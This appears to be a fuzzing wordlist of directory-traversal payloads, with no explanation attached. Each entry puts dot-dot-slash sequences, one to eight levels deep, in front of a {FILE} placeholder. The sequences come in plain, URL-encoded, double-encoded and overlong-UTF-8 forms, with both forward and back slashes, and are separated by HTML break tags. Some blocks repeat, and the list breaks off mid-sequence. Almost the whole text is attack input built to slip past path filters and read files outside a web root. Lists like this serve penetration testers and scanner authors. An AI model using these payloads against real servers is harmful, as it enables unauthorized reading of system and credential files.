%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> ..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> %c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> ..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> ..%%32%66{FILE}<br /> ..%%32%66..%%32%66{FILE}<br /> ..%%32%66..%%32%66..%%32%66{FILE}<br /> ..%%32%66..%%32%66..%%32%66..%%32%66{FILE}<br /> ..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66{FILE}<br /> ..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66{FILE}<br /> ..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66{FILE}<br /> ..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66{FILE}<br /> %%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65%%32%66{FILE}<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}<br /> ..%%35%63{FILE}<br /> ..%%35%63..%%35%63{FILE}<br /> ..%%35%63..%%35%63..%%35%63{FILE}<br /> ..%%35%63..%%35%63..%%35%63..%%35%63{FILE}<br /> ..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63{FILE}<br /> ..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63{FILE}<br /> ..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63{FILE}<br /> ..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63{FILE}<br /> %%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65%%35%63{FILE}<br /> %%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}<br /> %%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}<br /> %%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}<br /> %%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}<br /> %%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}<br /> %%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}<br /> %%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}<br /> ../{FILE}<br /> ../../{FILE}<br /> ../../../{FILE}<br /> ../../../../{FILE}<br /> ../../../../../{FILE}<br /> ../../../../../../{FILE}<br /> ../../../../../../../{FILE}<br /> ../../../../../../../../{FILE}<br /> ..%2f{FILE}<br /> ..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> %2e%2e/{FILE}<br /> %2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ..%252f{FILE}<br /> ..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> %252e%252e/{FILE}<br /> %252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> ..\{FILE}<br /> ..\..\{FILE}<br /> ..\..\..\{FILE}<br /> ..\..\..\..\{FILE}<br /> ..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\..\{FILE}<br /> ..%5c{FILE}<br /> ..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> %2e%2e\{FILE}<br /> %2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> ..%255c{FILE}<br /> ..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> %252e%252e\{FILE}<br /> %252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> ../{FILE}<br /> ../../{FILE}<br /> ../../../{FILE}<br /> ../../../../{FILE}<br /> ../../../../../{FILE}<br /> ../../../../../../{FILE}<br /> ../../../../../../../{FILE}<br /> ../../../../../../../../{FILE}<br /> ..%2f{FILE}<br /> ..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> %2e%2e/{FILE}<br /> %2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ..%252f{FILE}<br /> ..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> %252e%252e/{FILE}<br /> %252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> ..\{FILE}<br /> ..\..\{FILE}<br /> ..\..\..\{FILE}<br /> ..\..\..\..\{FILE}<br /> ..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\..\{FILE}<br /> ..%5c{FILE}<br /> ..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> %2e%2e\{FILE}<br /> %2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> ..%255c{FILE}<br /> ..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c{FILE}<br /> 